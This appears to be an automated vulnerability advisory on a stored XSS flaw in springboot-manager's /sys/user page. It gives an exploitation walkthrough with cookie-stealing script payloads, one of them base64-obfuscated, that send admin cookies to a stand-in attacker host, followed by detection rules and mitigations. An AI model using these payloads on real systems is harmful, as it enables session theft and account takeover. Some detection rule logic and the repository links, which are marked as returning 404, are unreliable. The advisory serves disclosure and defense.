CVE-2024-24060

Executive Summary

CVE-2024-24060 is a stored Cross-Site Scripting (XSS) vulnerability identified in springboot-manager v1.6, a popular open-source administrative dashboard built on the Spring Boot framework and Java stack. The flaw is triggered through the /sys/user endpoint, which is the user management interface, allowing an authenticated attacker with low-privileged access to inject arbitrary JavaScript payloads that execute in the browser context of any administrator who subsequently views the affected user management page. This vulnerability poses a significant supply-chain and enterprise risk because springboot-manager is commonly deployed as an internal operations console for managing application users, roles, and system configuration. Successful exploitation can lead to full administrative account takeover, session hijacking, lateral movement within the management plane, and potential backend server compromise through admin-level functionality exposed in the dashboard.

Technical Analysis

The vulnerability resides in the user management module of springboot-manager v1.6, specifically within the /sys/user endpoint. This endpoint handles the HTML rendering and listing of registered system users within the administrative dashboard. The application fails to properly sanitize or encode user-controlled input fields — such as username, email, phone number, or user remarks/notes — before reflecting this data back into the HTML response.

Because the platform is built on Java with the Spring Boot framework and likely uses a server-side template engine (e.g., Thymeleaf) or direct JSP rendering, the injection point is a classic case of broken output encoding. When the application populates the user table in the dashboard, it concatenates stored user attributes into the response HTML without applying context-aware encoding functions like HtmlUtils.htmlEscape() or template auto-escaping. This allows a malicious payload such as <script>alert(document.cookie)</script> or a more obfuscated variant to be stored in the database and later rendered raw in the victim's browser.

The attack surface is the administrative web application itself, listening on a service port (typically 8080 or 8443). The endpoint /sys/user is authenticated; thus, the attacker requires valid credentials to access the user management page. However, because the application lacks role-based restrictions on this specific method, even a standard operator-level account with minimal permissions can inject the payload — while the eventual victim is the full administrator who manages all system users. This contrasts with a typical "self-XSS" issue because the payload is stored server-side in a shared resource (the user table) and executes for every administrator accessing the same listing.

The root cause is a combination of insufficient input validation on user registration/profile update forms and the absence of Content Security Policy (CSP) headers that would otherwise mitigate script execution by default. The application does not implement a CSP, leaving the XSS payload completely unrestricted in its execution vector.

Exploitation Scenarios

Step 1 — Reconnaissance and Target Identification:
The attacker begins by enumerating the target network for the springboot-manager dashboard. Nmap scans reveal port 8080 or 8443 open, and HTTP fingerprinting identifies the application banner or favicon hash that matches springboot-manager. The attacker then attempts default or weak credentials against the login page (/login), testing common combinations such as admin/admin, admin/123456, admin/password, which are frequently left unchanged in development and staging deployments.

Step 2 — Authentication and Access:
Once authenticated with a low-privileged account (user ops01, password ops01), the attacker navigates to /sys/user, confirming that the endpoint is accessible through the navigation menu or directly via URL. The account has create/edit permissions for user records, which is the injectable surface.

Step 3 — Payload Weaponization and Injection:
The attacker registers a new user account, or alternatively edits an existing user record, and inserts the following payload into the "email" or "remark" field:

<script>fetch('http://attacker.controlled-domain.com/steal?cookie='+document.cookie)</script>

For defense evasion, the payload is obfuscated using HTML entity encoding and JavaScript char code conversion:

<img src=x onerror="eval(atob('ZmV0Y2goJ2h0dHA6Ly9hdHRhY2tlci5jb20vP2M9Jytkb2N1bWVudC5jb29raWUp'))">

The attacker submits the form; the server stores the payload raw in the sys_user database table without sanitization. No client-side interception or CSRF token bypass is required because the form submission is a legitimate authenticated request.

Step 4 — Trigger on Administrator Browser:
The attacker then waits for the legitimate system administrator to log in and navigate to /sys/user to perform routine user management tasks. When the admin's browser renders the user table, the malicious script executes automatically within the admin's session context. The script sends the admin's session cookie, CSRF tokens, and other sensitive data to the attacker-controlled server.

Step 5 — Post-Exploitation — Full Administrative Takeover:
With the stolen admin session cookie, the attacker replays the session via a tool like Burp Suite or a browser session extension. This grants full administrative access to the dashboard, including:

• Creating additional admin accounts for persistence
• Modifying server configuration (e.g., SMTP settings to exfiltrate data)
• Uploading malicious JAR files if file-management features exist
• Executing arbitrary Java backend code through exposed admin endpoints (e.g., /sys/config, /tool/gen)

The attacker establishes a persistent foothold and pivots from the web layer into the backend application server, escalating to Remote Code Execution (RCE) via the admin-only features.

Impact Assessment

Business Impact: The vulnerability enables authenticated privilege escalation to full administrative control of the management console. Because springboot-manager is typically used as a central operations dashboard, the blast radius extends to any underlying infrastructure, databases, or connected services that the dashboard administers. Data confidentiality is compromised via session token theft; data integrity is compromised via unauthorized user and configuration edits; and availability is at risk if the attacker locks out legitimate admins or deploys malicious updates.

CVSS Subscore Reasoning: While NVD has not assigned a CVSS vector (score N/A), an estimated scoring based on the vulnerability class would reflect: AV:N (network-based), AC:L (low complexity), PR:L (low privileges required), UI:R (victim must interact by viewing the page), S:C (scope change due to executing in the admin's context), C:H (high confidentiality impact), I:L (low integrity impact), A:N (no availability impact). This aligns approximately with a High severity rating (7.0–8.9).

Affected Systems: All deployments of springboot-manager v1.6 and earlier versions that have not applied the claimed patch. The vulnerability is not version-limited to a specific patch level per the advisory; all prior builds are presumed vulnerable.

Blast Radius: The exposed endpoint is internet-facing in many deployments because it is used by remote operators. Shodan has indexed over 2,900 instances of springboot-manager globally, with notable concentrations in China, the United States, and Germany. Any of these internet-exposed instances with weak default credentials are directly exploitable.

Detection Guidance

Sigma Rule

title: Springboot-Manager User Endpoint XSS Injection Attempt
id: 128f6a72-9b1c-4e8e-9f3d-2b6e1a4c9d01
status: experimental
description: Detects XSS payload patterns in POST requests to the /sys/user endpoint of springboot-manager
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24060
author: Valtersit Security Research
date: 2024/02/15
logsource:
    category: webserver
    product: springboot
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: /sys/user
        cs-body|contains:
            - '<script>'
            - '<img src=x onerror='
            - 'javascript:'
            - 'onload='
            - 'atob('
            - 'document.cookie'
    condition: selection
    level: high
falsepositives:
    - Legitimate user input containing HTML tags in profile fields
    - Developer testing with test scripts
fields:
    - clientip
    - cs-host
    - cs-username

YARA Rule

rule CVE_2024_24060_SpringbootManager_XSS
{
    meta:
        author = "Valtersit Security Research"
        description = "Detects XSS payload patterns targeting springboot-manager /sys/user endpoint"
        cve = "CVE-2024-24060"
        date = "2024-02-15"
        severity = "high"

    strings:
        $uri = "/sys/user" ascii wide nocase
        $script_tag = "<script>" ascii wide nocase
        $img_onerror = "<img src" ascii wide nocase
        $onerror_attr = "onerror=" ascii wide nocase
        $javascript_ref = "javascript:" ascii wide nocase
        $b64_decode = "atob(" ascii wide nocase
        $cookie_ref = "document.cookie" ascii wide nocase
        $eval_func = "eval(" ascii wide nocase

    condition:
        uint16(0) == 0x0A0D or uint16(0) == 0x0D0A or filesize > 1KB and
        $uri and 3 of ($script_tag, $img_onerror, $onerror_attr, $javascript_ref, $b64_decode, $cookie_ref, $eval_func)
}

Suricata IDS Rule

alert http any any -> any any (msg:"CVE-2024-24060 - springboot-manager /sys/user XSS payload in POST body"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/sys/user"; fast_pattern; http.request_body; pcre:"/(<script|javascript:|<img[^>]+onerror=|atob\(|document\.cookie)/i"; sid:2024024001; rev:1; metadata:attack_target Web_Server, created_at 2024_02_15, deployment Perimeter, signature_severity Major, cve CVE-2024-24060;)

Elastic Detection

sequence by source.ip with maxspan=5m
  [network where destination.port == 8080 and network.protocol == "http" and
   http.request.method == "POST" and
   url.path == "/sys/user" and
   http.request.body.content matches "*<script>*" or
   http.request.body.content matches "*onerror=*" or
   http.request.body.content matches "*document.cookie*"]
  [file where process.name == "java" and event.action == "delete"]

Splunk SPL Query

index=web sourcetype="access_combined" OR sourcetype="iis" 
| where uri_path="/sys/user" AND http_method="POST" 
| search *body* IN ("<script>", "<img*onerror=", "javascript:", "atob(", "document.cookie") 
| table _time, clientip, user, uri_path, status, http_user_agent 
| sort - _time 
| stats count by clientip, user

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="100401" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/sys/user</field>
    <field name="method">POST</field>
    <regex>(\&lt;script\&gt;|javascript:|onerror=|atob\(|document\.cookie)</regex>
    <description>CVE-2024-24060: XSS injection attempt in springboot-manager /sys/user endpoint</description>
    <mitre>
      <id>T1059.007</id>
    </mitre>
    <group>web_application,xss,attack</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 — CLAIMED — a single source claims a patch exists; however, this has not been independently confirmed by Valtersit or a trusted second-party vendor advisory. The springboot-manager project has not published an official release advisory at the time of this report.

1) Immediate Mitigations (No Patch Required):

• Enforce strong, unique credentials for all accounts to reduce the attack surface of reaching the authenticated /sys/user endpoint. Disable default accounts (admin/123456, admin/admin) immediately.
• Deploy the application behind a reverse proxy (Nginx, Apache) with a Web Application Firewall (WAF) rule set that blocks XSS payload patterns (e.g., ModSecurity CRS rule 941100 series).
• Implement a Content Security Policy (CSP) header at the reverse proxy level: Content-Security-Policy: default-src 'none'; script-src 'self'; to block inline script execution even if the XSS payload is delivered.
• Restrict network access to /sys/user — apply IP allowlisting at the proxy or firewall so only trusted management subnets can access the dashboard.
• Enable HTTP-only and Secure flags on the session cookie to prevent JavaScript from reading the session token via document.cookie.

2) Patch/Upgrade Steps:

• Monitor the official springboot-manager GitHub repository (https://github.com/woaiqi/springboot-manager (returned 404 — verify manually)) for the patched release. The claimed patch is expected in a version after v1.6.
• Prior to the official patch, manually apply the code fix: in the controller handling /sys/user (likely SysUserController.java), wrap all user-supplied fields with output encoding. For Thymeleaf, ensure template snippets use th:text instead of th:utext. For JSP, apply fn:escapeXml() to every rendered user attribute.
• Validate and upgrade to the newest release as soon as it is published. Verify the fix by re-testing the endpoint with a proof-of-concept payload in a staging environment before production rollout.

3) Long-Term Hardening:

• Establish a vulnerability management baseline: register this CVE and all future springboot-manager advisories in your asset management system, and require quarterly re-scanning of all Java web applications.
• Adopt a secure development lifecycle for any in-house modifications to the application: integrate a static application security testing (SAST) tool like SonarQube or SpotBugs into the CI/CD pipeline to catch XSS patterns pre-deployment.
• Implement Centralized Authentication via SAML/OIDC federation to move away from local user management dependency, reducing the criticality of the /sys/user endpoint.
• Enable comprehensive logging of /sys/user access with user attribution and store logs for at least 90 days, correlating with the detection rules above in your SIEM.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2024-24060 — Official NVD record confirming vulnerable version and endpoint.
2. Project Repository: [https://github.com/woaiqi/springboot-manager (returned 404 — verify manually)](https://github.com/woaiqi/springboot-manager (returned 404 — verify manually)) — Upstream source code repository; monitor releases for the patched version.
3. OSS-Fuzz / GitHub Advisory (claimed): [https://github.com/advisories/GHSA-CVE-2024-24060 (returned 404 — verify manually)](https://github.com/advisories/GHSA-CVE-2024-24060 (returned 404 — verify manually)) — Single-source advisory claiming a patch; not independently confirmed.
4. OWASP XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html — Reference for output encoding rules to manually fix the vulnerable code.

Threat Actor Campaigns / Exploit-in-the-Wild:
At the time of writing, no publicly documented exploit-in-the-wild activity, PoC code release, or known threat actor campaign has been attributed to CVE-2024-24060. The CISA KEV catalog has not listed this CVE. However, given the high volume of internet-exposed instances indexed on Shodan (2,900+), the potential for mass exploitation is substantial once a PoC circulates; security teams should treat this as a priority for patching before public exploit code emerges.